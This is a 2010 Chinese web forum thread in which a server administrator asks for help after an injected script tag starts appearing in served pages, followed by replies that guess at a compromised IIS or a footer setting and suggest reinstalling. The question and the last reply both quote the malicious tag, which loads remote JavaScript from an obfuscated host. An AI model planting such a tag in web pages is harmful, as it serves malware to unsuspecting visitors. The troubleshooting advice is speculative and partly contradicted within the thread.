求救：服务器里网页被注入了!!!!(急)

tryasp 2010-03-01 02:33:26

大家好，服务器里面的网页这几天被注入了，但并不是所有的页面都被注入，奇怪的是：在浏览器里面浏览时网页时，查看源文件，第一行显示：〈script language=javascript src=http://h%6Df.x.%70l/c.js?google_ad=02x241_ad〉〈/script〉,然后我查看这些页面的源代码却没有。然后我新建个站点试试(在不同的目录下)，结果只要输入相同的文件名，都会显示这串挂马的代码，即使目录下根本没有这个文件也好，都一样显示这串码！站点下面的文件日期还是上一年的日期，所以说文件是没有看到有修改过的痕迹，我试过还原上一年的数据库，问题还在。请问大家有没有遇到过这种情况，该怎么办？我在网上百度，谷歌里面找,都没有找到解决的方法！

...全文

164 16 打赏收藏转发到动态举报

写回复

用AI写文章

16 条回复

切换为时间正序

请发表友善的回复…

发表回复

源码资源下载 2010-08-23

打赏
举报

本人也遇到这样的问题，楼上的所有回答都是错误的。大家再研究研究。

yijunnet 2010-03-02

打赏
举报

与网页无关，你仔细查看日志文件，会发现其中启动IIS后会启动一个文件，他是在那个文件里面加入的，是什么我忘了，应该是在system32里面的吧
很乐意解决这样的问题，如果相信我，就加我QQ42767730，远程帮你解决

qddoudouqd 2010-03-02

打赏
举报

在 iis 属性里的文档卡里，有个启用文件页脚，你看是不是被打勾了？

CainLai 2010-03-02

打赏
举报

服务器被攻击了么？MARK 学习

gukuang78 2010-03-01

打赏
举报

服务器的问题，与网页源文件无关，UP...

yedixifeng 2010-03-01

打赏
举报

IIS被强制挂马，重装系统提可以解决了。

yedixifeng 2010-03-01

打赏
举报

可能是 IIS被强制挂马。

tommypierce 2010-03-01

打赏
举报

简单的处理，就是手工把所有页面，包括html,asp,php,js,txt,htm等地扩展名看看，凡是已经染上的都要删除掉代码，然后再重新上传！

如果能重新做一下服务器是最好的了。

同时查看自己所有页面设计上传的地方，能屏蔽掉的全部屏蔽掉！

去360.cn找批量删除的补丁！

或者直接google,baidu 下面代码找受难同胞的解决方法：
http://h%6Df.x.%70l/c.js?google_ad=02x241_ad